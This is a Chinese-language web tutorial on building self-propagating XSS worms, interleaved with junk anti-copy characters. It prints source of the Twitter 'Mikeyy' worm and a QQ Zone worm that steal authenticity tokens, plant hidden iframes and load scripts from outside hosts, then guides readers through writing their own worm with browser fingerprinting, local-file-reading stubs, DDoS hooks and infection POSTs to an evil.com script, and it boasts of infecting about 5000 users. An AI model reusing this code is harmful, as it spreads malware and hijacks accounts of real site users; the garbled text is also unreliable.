2 @# |! c: ]$ c3 W* o( z
( n* b( X- o" M4 P- r1 a& j8 MXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
, p2 s5 O! q1 M) x- R9 ]
XmlHttp.send(null);
1 `1 K0 X6 m) W+ H3 ^
<script>
# F' D$ k  C* [5 \# R6 o复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
% T% V! J! Y5 {9 y复制代码案例:Twitter 蠕蟲五度發威
7 `7 b3 E6 G) F: }2 G" C9 h第一版:
  下载 (5.1 KB)

- ?* [9 f# K( [6 天前 08:27
4 P3 f: W- u; {; c% O6 e' M
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
& w4 L+ I( L- l2 d) E! H
5 s) V3 g  h; H2 x2 K- r7 D   2.   
9 d# z" Y9 l' m3 s2 x! f" y
   3. function XHConn(){  
( |& |! V, t: M$ |; o
   4.   var _0x6687x2,_0x6687x3=false;  

3 F% Z" C0 }: L   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

. U2 O. `, R2 u# V6 H   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
& x; P# @1 \5 d5 t# G! j3 F
   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

% m, L# J  ~& ~6 j2 o; W! S   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

0 l/ q$ W1 T& Y   6.   var authtoken=authreg.exec(content);  

! _" I! r( ]- @4 K   7.   var authtoken=authtoken[1];  
( O$ [" |5 ~+ G7 Y+ V) I
   8.   var randomUpdate= new Array();  

% z- z: s1 I% ]8 |( x3 h  S   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

* T% j6 }5 P6 N+ Y0 B  F2 _! S) l  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

- ], {+ B( ]4 s2 w& a  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
1 ^, X& j6 w) K( h8 e: N4 \' J
; z# t$ N0 H% S6 w9 r, s6 t) H  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
9 Y# u. V0 R8 q/ `! e
+ ?; Z" Z" ]' N- v# I' R  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
6 h8 ?2 c' Z, ~) A+ Q* A. E1 P
; e! H# J, V4 h' x% L! [4 e  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
. F. K  G; r5 G. m# C
* z; w7 y1 ?( n6 Z, N  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

$ B0 F1 |2 A$ {  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  r, B, ~) f9 r; X* z  p$ j  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
/ x% N/ H1 G1 r
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
+ B1 V2 P* s; T1 g& _2 {
# w6 w2 t4 B# ]8 z  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

4 \9 R8 r8 j; r* E! w  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

( I4 }3 |9 i: a; L/ b2 ^8 A  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
& \$ O" V1 p; y2 `
( D3 ~1 s' C: l  24.     
8 n% A; n. W" n1 o( u1 p
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

& p( m: I3 }3 K( {' C: }* @% R  27.     

. e1 t8 n/ p; m+ ?# P/ |( c; L  28.   var ajaxConn= new XHConn();  
% q  \6 z9 x- E+ w1 x
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
2 l. t: \8 O- p& n0 M3 V3 s0 ]
  30.   var _0xf81bx1c="Mikeyy";  
- B# ?# B3 \" c. j" s  l
. V: g) W6 V- h( P  m  31.   var updateEncode=urlencode(_0xf81bx1c);  
( Q& G! t5 l+ _9 a6 B
  32.   var ajaxConn1= new XHConn();  

  M1 A: `) y% l' z+ E4 r3 n+ `  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
* h; W. Z/ q, h! a+ u( c
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
  {' \3 Z6 U7 d) U
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     
, o4 s: K1 O4 {
  39. } ;  
1 ?0 x+ n  p" T* w8 u- a
+ p6 S/ N# D, U1 o8 u6 Z# w7 }  40. setTimeout(wait(),5250);  
) \  B  g  `. W( g, [/ v复制代码QQ空间XSSfunction killErrors() {return true;}

2 r2 l, {) T, Y8 i; R/ ^window.onerror=killErrors;
* [1 t% ]1 e! o$ r

4 ?1 O. N7 {) h2 T" {3 E5 K
3 }3 G6 f2 ~1 a6 [% b' s0 Svar shendu;shendu=4;

//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

8 F. i3 e$ G6 R5 B  `! Yvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();
. p/ w- P) G7 u. C+ i) e: m' O
        var gurl=document.location.href;

4 V& _/ F$ f, O6 \. z2 E( H1 o        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        

) F/ e, v1 ~) U6 q7 g        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
" w0 c, y1 R' a2 m4 x7 p! S
        visitorID=visitorID.substring(cookieS+14);
, i; B" |8 \, Z7 q: W( @4 N7 t
        cookieS=visitorID.indexOf(",");

0 b) G2 F! @8 L) H0 I4 [# N9 v        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
2 q1 f1 B. g, L- m. [- g. N
        DOshuamy();



$ ]% S: \3 c! H5 W1 I  j//挂马

function DOshuamy(){
9 s) g# a. G+ Q$ s: w
2 k+ y( o# G0 T2 p6 L3 b( `0 `5 bvar ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

" O& }6 n# K% I$ ]. k}
. S- v% a0 a7 H" h
+ N! ]( A0 P. X9 \. a

' V; y0 L, C) B//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
; R' C$ o6 o  @& X4 G- E0 q
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
# j, ?" Z/ G! ~  T* {
- N  {; H' d! w3 }* Q% A   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
. h& K- ~$ E9 m" K2 T
+ V+ F2 }% A/ v1 o+ L   if(xhr){    //成功就执行下面的
5 Y. H3 l. _6 d
8 c  i8 e) B, |: K) M     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数
; n0 z8 ~% E' F
    }
! z+ t. D( h( E' m2 M9 ?
}
  `3 s7 P0 [2 i0 o
3 ?, b* C$ Q$ Z( J0 N7 `- x
  V. x; b2 T' z+ n: a  X  Y
5 o+ @$ R0 w6 A5 [8 V5 D. A' a//这里似乎是判断没有登录的

function get_my_blogurl(guest){

9 x, x7 ^4 a# L' [& W  _  var mybloglist=guest;

) _* b/ G9 \& Z  var myurls;var blogids;var blogide;
8 Z- @, v2 M1 D$ O! A) `: R- `+ p. \
3 J1 G$ b' |5 z/ [( `9 {; U  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

, h( Z# D$ M4 k$ j2 n1 Y; R     if(myurls!=-1){    //找到了就执行下面的

5 y/ u% R1 W6 ^" {         mybloglist=mybloglist.substring(myurls+11);
4 u3 x7 P0 i5 k1 n( p, S
: G! V9 k* f; J5 V5 c$ ~3 C1 }         myurls=mybloglist.indexOf(')');
' V- `* A& B/ H; F% j
( @5 r# a# x2 F         myblogid=mybloglist.substring(0,myurls);

: g- J3 W" Y' Q2 B& ?5 _% W% `        }else{break;}

% `& Q  g% ]& k& ~4 I3 J- I}
9 h3 I% i9 x; l0 z8 k
get_my_testself();    //执行这个函数

+ d' q; w. I! O5 ?}
8 W0 @/ T& l: D
# v$ H+ P% k) _. y8 W* Y) D

//这里往哪跳就不知道了
6 L: i1 j- R( y4 Z2 ?, A2 }. S
function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值
1 V: i. M% L+ W+ v
3 W7 a! O5 l6 v2 r0 p0 H" X1 r4 H# t      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
4 r2 g0 w; G% J/ p( M1 t7 y
      if(xhr2){        //如果成功
7 H& {) z- Z% o
              xhr2.open("GET",url,false);     //打开上面的那个url

9 g; U. |! `! y3 b0 E7 i              xhr2.send();

              guest2=xhr2.responseText;
+ ]5 r9 c/ r/ P0 f9 ?
' k8 i+ k" r& ]( }* r* L              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
  k$ }: B( }1 H; N0 f
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
. H& D# H# ~; W$ G
% S, @0 p3 a8 n- T% Z" Q              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
' ]; O/ q0 ^8 j' H5 |. u
                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

  W1 G. r5 `9 S# O% r( t( h1 `                break;

               }
9 H7 j; B, g* G1 U& z4 [/ u3 ?
              if(mycheckit=="-1"){

                targetblogurlid=myblogid;
2 o! d, V+ E% d2 r3 F
  t5 u4 ^3 b/ F' O4 V3 ~% t  b4 _                add_js(visitorID,targetblogurlid,gurl);    //执行它

) y; t: s5 i7 z! q  D9 `# l                break;
) Y+ v, c1 y; S# P7 ?, h+ u
2 \' A  V$ x- c4 ]: B) Y; H: W5 ]               }
7 a+ a- }7 W4 ^
- I9 b% m9 V- j& l- v0 [        }      

}
, D6 u0 L/ h* W, F! j
$ h( Q5 T1 |& U}
2 |$ ]! r( x- ~9 ^8 ~* g" p# \; E
+ j3 ?% U( u9 p6 }

8 \, j; d- T0 V- ]  y' o7 L  c8 x//--------------------------------------  

5 T& q8 a$ C& h* i2 U//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){
* B3 w5 \$ r9 U; Y
) x9 ^. u# S* Z  O, {; a    var XMLhttpObject=null;  

: @9 r; @: e" @! t4 e    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
/ _3 Q: s! q4 ?  y2 @
    else  
* C$ B( K. [$ @% T5 B, B' b
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  

$ Q! i% y2 c0 g0 m. S7 p        {  
. A3 Y; f4 K3 F
: {( X* o" G  o' f( {            try  
8 Y" D" n, Q8 D
9 N: H8 `* x% X            {  
( I1 ^( |, g! \) G* j4 L! a
1 i% I6 H! ?2 T+ L4 y                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  

) b+ d  x  ~$ T4 H+ }) ?  I" Z            }  
* m  }3 r1 r! C7 P  D) [& R
            catch (ex) {  
( L) q# N, R; B  c
/ d! L' D& q5 A* Y% e/ ?            }  
+ a5 W" K) q% c' ~5 q
  E0 W3 C8 A: d8 q' d, E6 D         }  

' i% A& x, d- `  n0 t! p      }

return XMLhttpObject;
0 E" x9 T* _$ L5 L8 G
  Z' B& c  O: p2 \) l# t* b}  



( g1 i: v) P% t" |//这里就是感染部分了
; ]3 j8 \: t5 \6 |  Y* U6 m& h
6 I9 U" w, U/ }/ V& s/ q2 Cfunction add_js(visitorID,targetblogurlid,gurl){
3 D. ?2 A: f7 n/ j$ m
, _- Z! q) B: h) i8 @1 qvar s2=document.createElement('script');
  p4 D1 ^/ O$ u' Q
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

1 E4 |( K  n0 \* xs2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
. e' R- M! y: V
; t7 q% V. Q4 `% p}


9 `0 E# z9 n' X0 S
function add_jsdel(visitorID,targetblogurlid,gurl){
. _: \8 R" L# R  L6 H9 P  E
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
& y  ?& b# A7 |( p
s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
6 ~" d7 r) R# F( a; B
}
8 N) l# T9 O) l3 S9 y/ `复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
$ n, L/ G! h. B+ |- @  f! L1 b1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

+ U, g/ k1 |; I) S2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

+ N3 v5 l3 y  B4 x2 L- G综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
- d0 ~4 _/ J' M6 ~5 n0 C
; Q+ p& Z$ w9 p. T
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

3 b2 o$ B! Z. q8 Y; K5 ?首先,自然是判断不同浏览器,创建不同的对象var request = false;

9 k& F& f: G" |+ a! F$ l9 f) aif(window.XMLHttpRequest) {
( F, `" }; H4 s) A) d$ K4 r5 {" z: F
request = new XMLHttpRequest();
5 }! w* k. U  I4 e
if(request.overrideMimeType) {

& ~3 @# ?6 b+ N6 k9 w0 ?request.overrideMimeType('text/xml');
) f8 P7 ~* Y. k7 {$ Y8 b
}
$ Z4 s" l6 B. I5 z" H
} else if(window.ActiveXObject) {

* Q+ D- [! D6 S2 T' j  dvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {
3 F" ~1 M$ L9 i$ W( f7 ~0 i
try {
% a* L; R4 i0 ^0 O2 f, K+ A; n! E
: i! c& c3 |& ~/ Grequest = new ActiveXObject(versions);

6 J* b  S( @, U} catch(e) {}
5 a  C" Z7 Y' w% D. }3 T: i" r0 @
( r4 G0 X7 W7 p, O}

}
4 s0 M5 J. F6 w- r! e3 n  h4 y
# u' g; C4 G$ @/ y! WxmlHttpReq=request;
9 n$ J* b3 l/ j0 p9 a. f6 `/ ~5 q复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
5 l3 m3 [! s; S+ q6 B: e5 ^
9 P; Q* T: ^- e" A! k        var Browser_Name=navigator.appName;
! S9 r! I. K4 F- }3 [. {7 e
$ [- g3 ]/ q# h' G6 l3 D        var Browser_Version=parseFloat(navigator.appVersion);

3 ?5 M. E) {' q$ n1 T* @3 P7 _+ [        var Browser_Agent=navigator.userAgent;

6 E# W1 w$ H* W, g4 ]        
6 A0 T5 X/ F( I2 r6 F9 ^! Y
        var Actual_Version,Actual_Name;

        
3 U( ^* f' X- F3 e2 r& _# B
" F( y  H3 N7 U$ r7 f9 @0 |        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
4 L8 Z7 V% U# w7 c- g! Q, d
8 v. L! j5 R3 I1 ]1 j+ C2 M7 t        var is_NN=(Browser_Name=="Netscape");
( p7 I2 @" w2 F( O2 x: c- e' _- }
        var is_Ch=(Browser_Name=="Chrome");
5 k' Y0 i5 W) P% C( e
        

( }0 e, j+ ~6 p8 x/ ^6 k  |        if(is_NN){
* Z$ _+ M; P$ O) t" E8 e) G
            if(Browser_Version>=5.0){
" K' A& q7 j$ y; K+ I, C' r1 t) c& a2 l
8 E; _" o7 l' ^* q8 [                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

  \+ F) m8 M8 `                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
0 c5 L! V# u& I9 |4 z1 `" m


                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
  L, }, E) x( p) t% K* ?& R5 u; ~. Z
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
" E2 e  J0 E- B" v' a; Z; f: O& U
            }

) N0 ^1 I' U" o            else{
. O- u1 G; S* ]2 v) a6 q  Z8 s1 q
6 f1 M5 Q: g* |1 n  C                Actual_Version=Browser_Version;
$ n( ?! r$ M* D! `" r
                Actual_Name=Browser_Name;

8 I2 n  F2 `7 p( M3 }: u            }

        }
4 \# L2 a6 x% M( }
$ ~) @$ [6 ]4 v! ?% T        else if(is_IE){
/ r# M- G$ p% \$ J5 m6 t5 F
# b/ O+ v7 K) D) p9 f* c            var Version_Start=Browser_Agent.indexOf("MSIE");

7 ]" G# k. z% u! Y$ K7 [. F$ C0 K            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
' m) k+ p( g: I5 K7 H. [3 T
            Actual_Name=Browser_Name;
) T2 n+ U3 p% C: a( L9 m  Q
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
7 ]1 t( l  ^+ L% F% |4 `
                Actual_Name+="(Maxthon)";
4 e9 `% s1 S4 s/ q
# j3 Y: K+ S% B- N1 m            }

# O, A% r6 ^0 A1 C5 e3 ]            else if(Browser_Agent.indexOf("Opera")!=-1){
7 _& i0 Z0 `( `
                Actual_Name="Opera";
% y- k1 }/ G. y' J9 H2 M
                var tempstart=Browser_Agent.indexOf("Opera");
3 {, V) R- \. A  w8 ^9 [& ^
                var tempend=Browser_Agent.length;
5 N3 v8 O' p- a; H1 a( i, j
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

2 A6 X* c- Q; f1 e! @8 y            }
! ]0 I* ^1 c. j& C1 i6 @
        }
* q0 d$ j5 e( O( r, q9 y
6 {3 ]% @( s! t: p/ J1 N4 U        else if(is_Ch){

- q1 w9 i, }: B7 w" J( A0 O9 K            var Version_Start=Browser_Agent.indexOf("Chrome");
/ z. p! D$ X1 A  S$ {* I
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
) V6 k5 X* P& Z; N  G
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

( ?# M. w. p, ]4 n9 x1 u            Actual_Name=Browser_Name;
& K8 q# z2 l# F( f# w& g- M5 x
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
: f- J1 j) i6 ?( {4 x, [3 P
                Actual_Name+="(Maxthon)";
5 l9 e: \' a' C5 R/ F0 Q
            }
* e' r4 R) A8 j7 p* L' e
" `. a9 v  N. s: h+ E6 G            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
/ _* U5 \  ^6 O8 e
6 h: M: C$ b. T8 G. B                var tempstart=Browser_Agent.indexOf("Opera");
( [5 @5 A3 q. |7 @; _' t
4 [0 F' u& Q: n+ e! t, x. c# P                var tempend=Browser_Agent.length;
7 p6 @) v5 y3 H
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
+ X3 Z# {- ^" r/ [) b
% z2 B, G" i; ]5 B" x# U3 D$ }        }
- [- L+ A6 [1 n1 U
9 b" i' w9 S# R; L        else{

            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"

        }

# B2 d- t! t1 k% o4 Z' n  U
! ]- Y$ k. x& a6 B; M5 ?
        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;
1 _. ?- z7 u- N1 b
        
9 T5 S* b, \+ N2 B6 D; d
        this.Name=Actual_Name;
6 l" ^! U6 S/ R- H
        this.Version=Actual_Version;
. a8 N+ X! B2 L4 ?- E: S
1 V$ W4 W0 U9 C: R' b- A# ?    }
- q8 u- X" {+ H2 N5 d; P9 |
    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
  U+ P! c( A+ @1 ~) Y' j
. \! e) W; S4 A7 ]& M0 T    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

% I& Q4 L# i; Z" b+ \3 v3 Y. n    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
! y; w( t. t5 l7 \! A/ J# c# `, v
$ ^4 ^/ W0 {# \2 w- V    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
8 @+ J' |3 W1 Y' Q. d* I复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
8 X; \$ ^/ B& M, n& w) `+ |复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

% z( J2 i0 d) k6 \$ `. MxmlHttpReq.send(null);

4 T* u% K: M/ Y& o% I4 O4 _/ ?var resource = xmlHttpReq.responseText;

var id=0;var result;
% ^+ O4 @$ q5 i' l& O
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
& N+ j7 O% N( Z" C# I0 Y
, F# {- z# W2 \6 b1 ?) F/ T" ~' jid++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
' @7 I+ Y& A& ]+ H
no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

' _) J% I4 G9 Y5 ?/ j6 S4 ^( a. bvar post="wd="+wd;
! B, a3 _, }- H
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

2 i" }3 G+ I$ bxmlHttpReq.setRequestHeader("content-length",post.length);
. C% v* i8 j: g8 S3 G; E! o
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
8 F9 i$ U, ]1 Q8 z& g
  F" |' v3 C& s+ N* e3 ]4 FxmlHttpReq.send(post);

% R& w- \4 ?9 ~/ n# b}
. n8 z+ E( a& k/ w7 J复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
* Y- c8 m3 k" u8 F# x
8 ?) f4 c# X( nvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
& b7 G$ h+ l; T: [1 L7 {" |/ d9 h! S$ r
var post="wd="+wd;
! j& G- C& b, S* {
  R( A7 u! E1 r& S* }& VxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
3 s- R5 ]2 @' a9 T- n- ]- [
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
2 |# d) r  c& {1 j, U
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

- R' ?4 c; [) p' NxmlHttpReq.send(post);                 //把传播的信息 POST出去.

4 X' ]8 G6 @6 D0 {}
3 r& M4 \/ q0 p8 R/ ~6 h复制代码-----------------------------------------------------总结-------------------------------------------------------------------
$ A0 f- [3 e/ s5 N! B
0 t5 }6 h2 O0 j: G
/ l6 q' a. G4 `3 i/ t& r( j% a
- q0 n; r% H2 l) f3 c本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
4 M* F. [4 @0 f1 F6 B蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
" ?) S  H+ a7 w" S操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


3 k7 Z! f" [7 ?


4 _! P' O8 ~9 ]
# }# Z) \8 i" ]

本文引用文档资料:
% Z1 s4 C9 z6 j  r
% e+ C* L4 [- R& M# ]  P"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
. i6 H( M, T9 q: _! P  A5 MOther XmlHttpRequest tricks (Amit Klein, January 2003)
% R9 a" U( P/ {2 l6 w, M"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/